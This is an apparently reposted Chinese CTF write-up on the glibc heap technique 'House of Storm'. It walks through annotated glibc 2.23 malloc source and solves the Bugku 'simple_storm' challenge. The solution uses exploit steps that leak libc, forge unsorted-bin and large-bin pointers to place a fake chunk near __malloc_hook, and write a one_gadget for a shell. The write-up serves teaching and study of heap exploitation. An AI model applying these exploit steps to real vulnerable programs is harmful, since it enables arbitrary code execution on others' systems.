House Of Storm
2023-7-10 09:50:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

背景知识

House Of Storm 是一种结合了 unsortedbin attack 和 Largebin attack 的攻击技术,其基本原理和 Largebin attack 类似,可以达到任意地址写的效果,危害十分之大,但是其条件也是非常的苛刻。

利用条件

1.glibc版本小于2.30,因为2.30之后加入了检查
2.需要攻击者在largebin和unsorted_bin中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin的index中,且unsortedbin中的chunk要比largebin中的大
3.需要unsorted_bin中的bk指针可控
4.需要largebin中的bk指针和bk_nextsize指针可控

相较于 Largebin attack 来说,攻击需要的条件多出了一条 “unsorted bin中的bk指针可控” ,但是基本上程序如果 Largebin attack 条件满足,基本代表存在UAF漏洞,那么多控制一个bk指针应该也不是什么难事

利用姿势

unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk

large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5

复习强化

unsorted bin

当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

Unsorted bin可视为空闲chunk回归所属bin之前的缓冲区,Unsorted bin处于bin数组下标1处,所以Unsorted bin只有一个链表,并且是双向链表。因此Unsorted bin中的chunk不按照size进行分类,所有空闲chunk处于乱序状态

当程序新申请堆得时候,会在unsortedchunk中遍历,如果正好匹配会被分配,但是如果没有正好匹配得会先将unsorted bin中得bins分别分配到各个bins中,然后再通过切分操作分配空间

large bin

Largebin用来收容超过0x400大小以上的chunk(64位) 其是一个双向链表
一共可以容纳63个chunk 和fastbin等不同的是 其对于链表对应存储chunk的大小没有明确规定 而是一个范围
一共分为6组

组-------数量--------差值
1---------32---------64(0x40)
2---------16---------512(0x200)
3---------8----------4096(0x1000)
4---------4----------32768(0x8000)
5---------2----------262144(0x40000)
6---------1----------无限制

源码分析

漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析,这里引用了Rookle师傅对于源码的注释

//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) 
{
    bck = victim->bk;//取出unsorted的尾部的chunk
    /*
        检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
        也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
        这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size 
        中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在 
        unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接 
        victim->size 没有问题。
    */
    if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect(victim->size > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);

    size = chunksize(victim);//获取victim的size

    /*
        如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
        victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
        (MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。

        last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
        从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
        形成一个 chunk,last_remainder 就是 指向的这个 chunk。
    */
    if (in_smallbin_range(nb) &&
        bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

        //分割remainder
        remainder_size = size - nb;//计算分割后剩下的size
        remainder = chunk_at_offset(victim, nb);//获取remainder的地址
        //把remainder加入unsorted bin中
        unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
        av->last_remainder = remainder; // 设置last_remainder为remainder
        remainder->bk = remainder->fd = unsorted_chunks(av);
        //如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
        if (!in_smallbin_range(remainder_size)) {
            remainder->fd_nextsize = NULL;
            remainder->fd_nextsize = NULL;
        }
        //设置victim的size
        set_head(victim, nb | PREV_INUSE |
                 (av != &main_arena ? NON_MAIN_ARENA : 0));
        //设置remainder的size
        set_head(remainder, remainder_size | PREV_INUSE);
        //设置remainder的物理相邻的下一个chunk的prev_size
        set_foot(remainder, remainder_size);

        check_malloced_chunk(av, victim, nb);//默认不做任何操作
        void *p = chunk2mem(victim);//将chunk指针转化为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }


    //把victim从unsorted bin 中移除
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

    //如果 victim 的size 与申请的size相等,那么就返回其。
    if (size == nb) {
        //设置victim物理相邻的下一个chunk的prev_inuse位
        set_inuse_bit_at_offset(victim, size);
        //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
        if (av != &main_arena)
            victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); // 默认不做任何操作
        void *p = chunk2mem(victim);//把chunk转换为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }


    //如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
    //如果在smallbin的范围,则放到对应多small bin中
    if (in_smallbin_range(size)) 
    {
        victim_index = smallbin_index(size);//获取size对应的smallbin的index
        bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
        //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
        fwd = bck->fd;
    }
    else//如果不再smallbin的范围,也就是说在large bin 的范围
    {
        victim_index = largebin_index(size);//获取size对应的large bin的index
        bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
        fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

        //如果large bin 非空,在largbin进行按顺序插入
        if (fwd != bck) {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            /*
                large bin中的chunk是按从大到小排列的,如果size < large bin 
                的最后一个chunk,说明size是这个large bin中的最小的,我们把它
                加入到此large bin尾部。
            */
            if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

                fwd = bck;
                bck = bck->bk;

                /*
                large bin 中size最小的chunk的fd_nextsize会指向size最大的
                那个chunk,也就是首部的chunk。同样,large bin 中size最大的
                chunk的bk_nextsize会指向size最小的那个chunk。
                victim的bk_nextsize指向large bin原来最小的chunk,它的
                bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
                把它fd_nextsize和bk_nextsize都修正。
                */
                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize;
                //最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } 
            else //如果victim不是large bin 中最小的chunk
            {
                assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
                //从大到小(从头到尾)找到合适的位置
                while ((unsigned long) size < fwd->size) {
                    fwd = fwd->fd_nextsize;
                    assert((fwd->size & NON_MAIN_ARENA) == 0);
                }
                //如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
                if ((unsigned long) size == (unsigned long) fwd->size)
                    fwd = fwd->fd;
                else 
                {
                    //size不相等,即size>fwd->size,把victim加入到纵向链表中
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }
                bck = fwd->bk;
            }
        } 
        else //如果large bin 为空,将victim加入到纵向列表
            victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    //#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
    mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
    //把victim加入到large bin的链表中
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}

绕过检查需要满足:
1.unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
2.fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
3.fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
4.fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk

简单来概括就是一下几步:
unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk
large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5

simple_storm

ida

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  mallopt(1, 0);
  puts("Bugku: house of storm!");
  do
  {
    menue();
    v4 = get_int();
    if ( v4 == 4 )
    {
      show();
    }
    else if ( v4 <= 4 )
    {
      switch ( v4 )
      {
        case 3:
          edit();
          break;
        case 1:
          add();
          break;
        case 2:
          delete();
          break;
      }
    }
  }
  while ( v4 != 5 );
  puts("over!");
  return 0;
}
unsigned __int64 add()
{
  unsigned int i; // [rsp+8h] [rbp-118h]
  int v2; // [rsp+Ch] [rbp-114h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; ptr[i]; ++i )
    ;
  if ( i == -1 )
  {
    puts("you don't have enough mem");
  }
  else
  {
    puts("Size?");
    v2 = get_int();
    if ( v2 > 0 && v2 <= 0x410 )     
    {
      ptr[i] = malloc(v2);
      ptr_size[i] = v2;
      sprintf(s, "success! idx is %d .\n", i);
      puts(s);
    }
    else
    {
      puts("Wrong size!\n");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
int edit()
{
  _DWORD *v1; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-14h]

  puts("Index?");
  v2 = get_int();
  if ( v2 > 15 || !ptr[v2] )
    return puts("Not a valid index!\n");
  puts("Content?");
  v1 = ptr[v2];
  v1[read(0, v1, ptr_size[v2] - 1) - 1] = 0;
  return puts("Success!\n");
}
int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Index?");
  v1 = get_int();
  if ( v1 <= 0xF && ptr[v1] )
    return puts(ptr[v1]);
  else
    return puts("Not a valid index!\n");
}
int delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Index?");
  v1 = get_int();
  if ( v1 > 0xF || !ptr[v1] )
    return puts("Not a valid index!\n");
  free(ptr[v1]);
  return puts("Success!\n");
}

程序比较简单,但是有一点需要注意的就是 mallopt(1, 0); 这一串代码,这里是把fast bins给禁掉了

mallopt

功能:控制内存分配
1.M_MXFAST
M_MXFAST用于设置fast bins中保存的chunk的最大大小,默认值为64B,fast bins中保存的chunk在一段时间内不会被合并,分配小对象时可以首先查找fast bins,如果fast bins找到了所需大小的chunk,就直接返回该chunk,大大提高小对象的分配速度,但这个值设置得过大,会导致大量内存碎片,并且会导致ptmalloc缓存了大量空闲内存,去不能归还给操作系统,导致内存暴增。
M_MXFAST的最大值为80B,不能设置比80B更大的值,因为设置为更大的值并不能提高分配的速度。Fast bins是为需要分配许多小对象的程序设计的,比如需要分配许多小struct,小对象,小的string等等。
如果设置该选项为0,就会不使用fast bins。

思路

禁掉fast bins,有UAF ,直接打house of storm

详细流程

add(0x20)
add(0x400) #1
add(0x20)
add(0x410) #3
add(0x20)
add(0x20)  #5
add(0x20)

首先申请0x400和0x410的chunk1和chunk3,中间0x20的chunk防止合并.这里是chunk1和chunk3的大小都在large bin 的第一组别中(0x400-0x440),然后申请一个0x20的chunk5,这里是为了后续申请chunk而把unsorted bin中的chunk链到large bin中

可以看到禁掉 fast bins 后,0x30 大小的chunk也进入 unsorted bin中了

show(1)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
leak("libc_base ",libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']
leak('malloc_hook',malloc_hook)
fake_chunk = malloc_hook - 0x50

在fast bins中找不到合适大小的chunk,于是遍历 unsorted bin ,把 unsorted bin 中的chunk放到对应大小的bin中(这里unsored bin中虽然有对应大小的chunk,但是正常流程是再fast bins中找到的,所以这里仍然需要遍历)

申请后再次释放就链入了unsorted bin中,同时也满足了 unsorted bin 中的 chunk 比 large bin中的大

payload=p64(0)+p64(fake_chunk)
edit(3,payload)

chunk3_bk-->fake_chunk

payload=p64(0)+p64(fake_chunk+0x8)+p64(0)+p64(fake_chunk-0x18-5)
edit(1,payload)

chunk1_bk-->fake_chunk+8
chunk1_bk_nextsize-->fake_chunk-0x18-5

这里 chunk1_bk_nextsize-->fake_chunk-0x18-5 是为了后面 fake_chunk 的size为0x56,这样P位就是0,可以通过检查了(堆地址通常是0x55或者0x56开头,只有当0x56开头的时候才能绕过检查)

这里size正好能够绕过检查,所以能够申请下来

og=libc_base+ogs[1]
payload = p64(og)*8+p64(og)
edit(9,payload)

然后编辑一下直接传入onegadget

成功getshell

参考文章

https://www.cnblogs.com/Rookle/p/13140339.html


文章来源: https://xz.aliyun.com/t/12673
如有侵权请联系:admin#unsafe.sh